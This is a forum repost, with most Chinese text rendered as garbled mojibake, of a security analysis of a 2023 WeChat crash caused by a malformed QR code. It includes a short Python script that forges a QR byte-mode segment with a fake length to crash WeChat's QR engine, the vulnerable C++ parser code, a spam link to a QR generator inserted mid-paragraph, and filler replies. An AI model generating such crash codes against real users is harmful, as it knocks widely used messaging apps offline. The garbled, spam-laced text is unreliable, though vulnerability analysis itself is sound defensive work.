WECHAT¶þάÂëÉÁÍË·ÖÎö - Î÷ºçÊÐÍø - Powered by Discuz!

Î÷ºçÊÐÍø

±êÌâ: WECHAT¶þάÂëÉÁÍË·ÖÎö [´òÓ¡±¾Ò³]

×÷Õß: liukai    ʱ¼ä: 2023-10-30 07:49
±êÌâ: WECHAT¶þάÂëÉÁÍË·ÖÎö

¡¡¡¡×÷Õߣºhu1y40£¨¶´Ô´ÊµÑéÊÒ£©


¡¡¡¡ÌÚѶÆìϵÄ΢ÐÅÊÇÒ»¿îÉ罻ͨѶӦÓóÌÐò£¬ÓÉÖйú»¥ÁªÍø¾ÞÍ·ÌÚѶ¹«Ë¾¿ª·¢ºÍÔËÓª¡£×÷Ϊһ¿îÁìÏȵÄÉç½»Ó¦Óã¬Î¢ÐÅÔÚÈ«Çò·¶Î§ÄÚÓµÓдóÁ¿µÄ×¢²áÓû§£¬ÇÒÓû§µÄ»îÔ¾¶È¼«¸ß¡£ÔÚ΢ÐÅÖУ¬Óû§¿ÉÒÔͨ¹ýɨÃè¶þάÂëÀ´½øÐкÃÓÑÌí¼Ó¡¢½øÈ빫ÖÚºÅÒ³Ãæ¡¢¼ÓÈëȺÁÄ¡¢½øÈëС³ÌÐòµÈ¡£Ôõô°ÑÊÓÆµÉú³É¶þάÂëhttps://www.erweicaihong.cn/shipinshuomingshu¶þά²ÊºçÌṩרҵµÄ¶þάÂëÔÚÏßÉú³ÉºÍÃÀ»¯¡£ÔÚÏßÉú³ÉÆ÷¿É°ÑÎı¾¡¢µç×ÓÓʼþ¡¢ÃûƬ¡¢ÍøÖ·¡¢Î¢ÐÅÊÕ¿îµÈÐÅÏ¢Ò»¼üÖÆ×÷×Ô¶¨Ò嶯̬¶þάÂëͼƬ£¬²»½öÄܹ»ËæÊ±ÈÃÓû§¸ü¸Ä¶þάÂë±³ºóµÄÐÅÏ¢¶øÎÞÐè¸ü¸Ä¶þάÂ룬¶øÇÒÄܹ»ÈÃÓû§×·×Ù×îÓмÛÖµµÄÊг¡Êý¾Ý£¡

¡¡¡¡2023 Äê 4 Ô 23 ÈÕ£¬Óû§ÔÚɨÃè»òä¯ÀÀijЩ»ûÐζþάÂëʱ£¬»áµ¼ÖÂ΢ÐųöÏÖÉÁÍ˵ÈÒì³£Çé¿ö¡£

¡¡¡¡¾ÝÁ˽⣬ÕâÖÖÒì³£Çé¿öÖ÷ÒªÊÇÓÉÓÚ»ûÐζþάÂëÔì³ÉµÄÔ½½ç¶ÁÈ¡²úÉú¡£

¡¡¡¡2023 Äê 4 Ô 23 ÈÕÍíÉÏ£¬²¿·Ö΢ÐÅÓû§·´À¡µã¿ª¶þάÂëͼƬ»áÔì³ÉÉÁÍË¡£

¡¡¡¡2023 Äê 4 Ô 24 ÈÕÁ賿Èýµã£¬GZTime ·¢³öÁËÖÆÔì»ûÐζþάÂëµÄ python ´úÂë¡£

¡¡¡¡2023 Äê 4 Ô 24 ÈÕÏÂÎçÁ½µã£¬Konano ·¢ÏÖ΢ÐÅ¿ªÔ´µÄ¶þάÂëʶ±ðÒýÇæÖеÄÎÊÌâ´úÂë¡£

¡¡¡¡ÖÁÎÄÕ±àдµÄ 2023 Äê 4 Ô 26 ÈÕΪֹ£¬iOS ¶Ë΢ÐÅÉÐδ¸üÐÂÐÞ¸´´Ë bug¡£

¡¡¡¡?

¡¡¡¡ÕâÀï»á½éÉܶþάÂë´´½¨µÄ²¿·Ö²½Ö裬ÒÔÓÃÀ´·ÖÎöºóÐøµÄ»ûÐζþάÂë¡£

¡¡¡¡QR Â뽫һ´®Îı¾±àÂë³É¶þ½øÖÆÎ»£¨1 ºÍ 0£©¡£QR ±ê×¼ÓÐËÄÖÖÎı¾±àÂëģʽ£ºÊý×Ö¡¢×ÖĸÊý×Ö»ìºÏ¡¢×ֽںͺº×Ö¡£Ã¿ÖÖģʽ½«Îı¾×ª»»Îª²»Í¬µÄ¶þ½øÖÆÎ»×Ö·û´®£¬µ«Ã¿ÖÖ±àÂë·½·¨¶¼Ê¹Óò»Í¬µÄ·½·¨½«Êý¾Ý±àÂëΪ×î¶ÌµÄ¶þ½øÖÆÎ»×Ö·û´®¡£

¡¡¡¡¶þάÂëµÄËĸö¾À´í¼¶±ðÊÇ£ºL¡¢M¡¢Q¡¢H¡£

¡¡¡¡L ±íʾ×îµÍ¾À´í¼¶±ð£¬Äܹ»ÐÞ¸´Ô¼ 7%µÄÊý¾ÝÂë×Ö´íÎó£»

¡¡¡¡M ±íʾÖеȾÀ´í¼¶±ð£¬Äܹ»ÐÞ¸´Ô¼ 15%µÄÊý¾ÝÂë×Ö´íÎó£»

¡¡¡¡Q ±íʾ½Ï¸ß¾À´í¼¶±ð£¬Äܹ»ÐÞ¸´Ô¼ 25%µÄÊý¾ÝÂë×Ö´íÎó£»

¡¡¡¡H ±íʾ×î¸ß¾À´í¼¶±ð£¬Äܹ»ÐÞ¸´Ô¼ 30%µÄÊý¾ÝÂë×Ö´íÎó¡£

¡¡¡¡¶þάÂëµÄ°æ±¾Ö¸µÄÊǶþάÂë¾ØÕóÖÐÿһÐкÍÿһÁеÄÄ£¿éÊý£¬ÀýÈç°æ±¾ 1 µÄ¶þάÂë¾ØÕó´óСÊÇ 21x21£¨°üÀ¨Á½¸ö¿Õ°×ÇøÓò£©£¬°æ±¾ 2 µÄ´óСÊÇ 25x25£¬ÒÔ´ËÀàÍÆ¡£°æ±¾Ô½¸ß£¬¿ÉÒÔ´æ´¢µÄÐÅÏ¢Ò²¾ÍÔ½¶à¡£Ã¿¸ö°æ±¾¶¼ÓÐÒ»¸ö°æ±¾ÐÅϢָʾ·ûÀ´±êʶËüµÄ°æ±¾¡££¨×î¶àËÄÊ®¸ö°æ±¾£©

¡¡¡¡Numeric Mode Encoding

¡¡¡¡Alphanumeric Mode Encoding

¡¡¡¡Byte Mode Encoding

¡¡¡¡Kanji Mode Encoding

¡¡¡¡ºóÐø×Ö·ûÓжàÉÙ¸ö£¬¸ù¾Ý°æ±¾²»Í¬£¬Õâ¸öָʾÆ÷ËùÕ¼µÄλÊý²»Í¬¡£

¡¡¡¡Ìí¼Ó 1~4 ¸ö 0£¨bit£©Ê¹µÃ´ïµ½ËùÒªÇóµÄλÊý£»Ìí¼ÓÁËÖÕÖ¹·ûºóÈç¹û bit Êý²»ÊÇ 8 µÄ±¶ÊýÔò¼ÌÐøÌí¼Ó 0 ʹµÃΪ 8 µÄ±¶Êý£»Èç¹û×îÖÕµÄ bit ´®ÈÔȻ̫¶Ì£¬ÔòÌí¼ÓÌî³ä×Ö·û 11101100 00010001¡£

¡¡¡¡importqrcodefromqrcode.util import*defhack_put(self, num, len):ifnum==?0:num=?2?# faker length of hack_datafori inrange(len):self.put_bit(((num >>?(len?-?i -?1)) &?1)==?1)qrcode.util.BitBuffer.put=?hack_putqr=?qrcode.QRCode(2, qrcode.constants.ERROR_CORRECT_Q, mask_pattern=0)data=?"tested by InsBug".encode("utf-8")data +=?b' '?*?(22-len(data)-3)# 22 Ϊ 2-Q µÄ Total Number of Data Codewords for this Version and EC Level£¬-3 ÊÇÓÉÓÚģʽºÍ³¤¶ÈָʾÆ÷¹²Õ¼ÁË 24 룬ÕýºÃΪ 3Byte¡£user_data=QRData(data, MODE_8BIT_BYTE)hack_data=QRData(b'', MODE_8BIT_BYTE)qr.add_data(user_data)qr.add_data(hack_data)img=?qr.make_image()img.save("<filename>.png")

¡¡¡¡¸Ã¶þάÂëͨ¹ýÉÏÊö´úÂëÉú³É¡£

¡¡¡¡?

¡¡¡¡QRazyBox µÄ½âÎö½á¹û£¬·¢ÏÖ hack_data ±»½âÊͳÉÁËÒ»¸ö Byte Mode ָʾÆ÷£¬²¢ÇÒ³¤¶ÈΪ´úÂëÖÐÉèÖÃµÄ faker length£¬ÕâʱºòÈç¹ûÔÙÍùºóÐø¶ÁÈ¡Êý¾Ý±ã¿ªÊ¼Ô½½ç½âÎö¡£

¡¡¡¡´ó²¿·ÖÓû§·´À¡µÄ΢Ðŵ㿪¶þάÂëͼƬÉÁÍ˵ÄÎÊÌ⣬ÔÚÆóҵ΢ÐÅ 41.03.6008 °æ±¾ÖÐͬÑù´æÔÚ¡£

¡¡¡¡ÓÉÓÚ¸ùÔ´ÎÊÌâÊÇ wechat_qrcode Õâ¸ö¿ªÔ´¶þάÂëʶ±ðÒýÇæ³öÏÖµÄÎÊÌâ¡£

¡¡¡¡int?nBytes=?count;BitSource&?bits(*bits_);// Don't crash trying to read more bits than we have available.int?available=?bits.available();// try to repair count data if count data is invalidif(count *?8?>?available)?{count=?(available +?7?/?8);}ArrayRef<char>?bytes_(count);char*?readBytes=?&(*bytes_)[0];

¡¡¡¡ÒÔÉÏΪµ¼Ö³öÏÖÎÊÌâµÄ½âÎö´úÂë¡£

¡¡¡¡£¨´úÂëÎļþÁ´½Óhttps://github.com/opencv/opencv_contrib/blob/960b3f685f39c0602b8a0dd35973a82ee72b7e3c/modules/wechat_qrcode/src/zxing/qrcode/decoder/decoded_bit_stream_parser.cpp#L202-L203£©

¡¡¡¡×îÖÕÔÚÌîÈëÒ»¸öÓг¤¶ÈµÄ¿Õ±ÈÌØµÄʱºò£¬nByte ²»Îª 0£¬available Ϊ 0£¬Ö´Ðе½ 199 ÐÐ count ±»¸üÐÂΪ 0¡£

¡¡¡¡ÔÚÖ´Ðе½ 203 ÐеÄʱºò£¬ÓÉÓÚ count Ϊ 0£¬ÉùÃ÷µÄÊÇÒ»¸ö¿ÕÊý×飬ºóÐø¶ÔÆä·ÃÎÊÔòÊÇ·Ç·¨·ÃÎÊ¡£ÆäÒ²¶ÔÓ¦ÁË×îºó³ö´íµÄ EXCEPTION_ACCESS_VIOLATION¡£ÓÉÓÚÕâÒ»·ÝÒýÇæÔÚÌÚѶϵÈí¼þÖй㷺ʹÓã¬ËùÒÔ³ýÁË΢ÐÅ£¬ÔÚÆóҵ΢ÐÅ¡¢QQ ÖÐҲͬÑù»áÒòΪ¸Ã¶þάÂëÔì³ÉÉÁÍË¡£

¡¡¡¡ÔÚ´ò¿ªÍ¼Æ¬µÄʱºò£¬»á³öÏÖ KMEAS_MS_FACTOR ºÍ KMEANS_COUNT_FACTOR£¬²éÔÄ×ÊÔ´·¢ÏÖ KMEANS ÊÇÒ»¸ö¿ÉÓ¦ÓÃÓÚͼÏñ·Ö¸îµÄËã·¨¡£²Â²âÆä´ò¿ª¶þάÂëµÄʱºò£¬¶þάÂë»á±»½øÐд¦Àí£¬Ëæºóʶ±ðÊý¾Ý¶ÁÈëÄÚ´æÖС£

¡¡¡¡ÕâÀï½øÐÐ memcpy º¯Êý£¬Æäº¯ÊýÔ­ÐÍÈçÏ£º

¡¡¡¡void?*memcpy(void?*dst,?void?*src,?unsigned?int?n);

¡¡¡¡ËùÒÔÕ»¶¥µÄÓÉÉÏÍùϵIJÎÊý·Ö±ðÊÇ£º

¡¡¡¡dst£º0x300422BB

¡¡¡¡src£º0x00000000

¡¡¡¡n£º2

¡¡¡¡È»ºó»á·¢ÏÖ£¬ÔÚ EIP ËùÖ¸´¦Ö¸ÁîΪ mov al,byte ptr ds:[esi]£¬²Ù×÷ÊÇ´Ó esi Ö¸ÏòµÄÄÚ´æµ¥Ôª¶Áȡһ¸ö×Ö½Ú£¬·ÅÈë al ¼Ä´æÆ÷ÖУ¬¶ø´Ëʱ esi Ϊ 0x00000000£¬ËùÒÔ¾ÍÊÇ´Ó 0x00000000 ´¦¶ÁÈ¡ 1 ¸ö×Ö½ÚÊý¾Ýµ½Ö®Ç°ÒÑдÈëÄÚ´æµÄ¡°tested by InsBug?¡±ºó¡£ÕâÀï±ã»áµ¼Ö·Ƿ¨·ÃÎÊ£¬²úÉú crash¡£

¡¡¡¡ÖÁÎÄÕ±àдµÄ 2023 Äê 4 Ô 26 ÈÕΪֹ£¬Î¢ÐŵĹٷ½Î¢²©Óë¹Ù·½ÍøÕ¾ÉÐδ¶Ô´Ë bug ½øÐлØÓ¦¡£

¡¡¡¡Í¨¹ý´Ë´ÎÉÁÍËʼþ£¬ÎÒÃÇÄÜ¿´³öÍⲿµÄÊäÈëÊDz»¿ÉÐŵģ¬Õý³£Éú³ÉµÄÊäÈëÔÚ³ÌÐò´¦Àíʱ¿ÉÄܲ»»á²úÉúÎÊÌ⣬Äܹ»¶Ô³ÌÐòµÄÕý³£ÔËÐвúÉúÓ°ÏìµÄÊǾ«ÐĹ¹ÔìµÄ¶ñÒâÊäÈë»ò»ûÐÎÊäÈë¡£Òª±ÜÃâÕâÖÖÇé¿öµÄ·¢Éú£¬³ýÁ˽¨Á¢ÍêÉÆµÄ²âÊÔÌåϵ֮Í⣬´úÂëÌύǰµÄ´úÂëÉ󼯹¤×÷Ҳʮ·ÖÖØÒª¡£

¡¡¡¡?

¡¡¡¡¶´Ô´ÊµÑéÊÒ

¡¡¡¡°²È«¹¤³Ìʦ£ºhu1y40

¡¡¡¡2023 Äê 4 ÔÂ 26 ÈÕÍí
×÷Õß: ÄñÈË·æ    ʱ¼ä: 2023-10-30 08:05
лл¥Ö÷£¬¹²Í¬·¢Õ¹
×÷Õß: liukai    ʱ¼ä: 2023-10-30 08:37
ÎÒÇÀ¡¢ÎÒÇÀ¡¢ÎÒÇÀɳ·¢~
×÷Õß: ÒÔÉí×÷ÕÜ    ʱ¼ä: 2023-10-30 09:15
ÓоºÕù²ÅÓнø²½Âï
×÷Õß: zhangoli    ʱ¼ä: 2023-10-30 10:19
²»´í²»´í£¬Â¥Ö÷ÄúÐÁ¿àÁË¡£¡£¡£
×÷Õß: lizongnan    ʱ¼ä: 2023-10-30 10:30
²Å·¢ÏÖ²ýƽҲÓÐÍøÂçÆ½Ì¨£¬Í¦ºÃ Ö§³ÖÁË¡£
×÷Õß: ÷öÈ»    ʱ¼ä: 2023-10-30 11:03
ÓоºÕù²ÅÓнø²½Âï




»¶Ó­¹âÁÙ Î÷ºçÊÐÍø (http://bbs.xihong021.cn/) Powered by Discuz! X3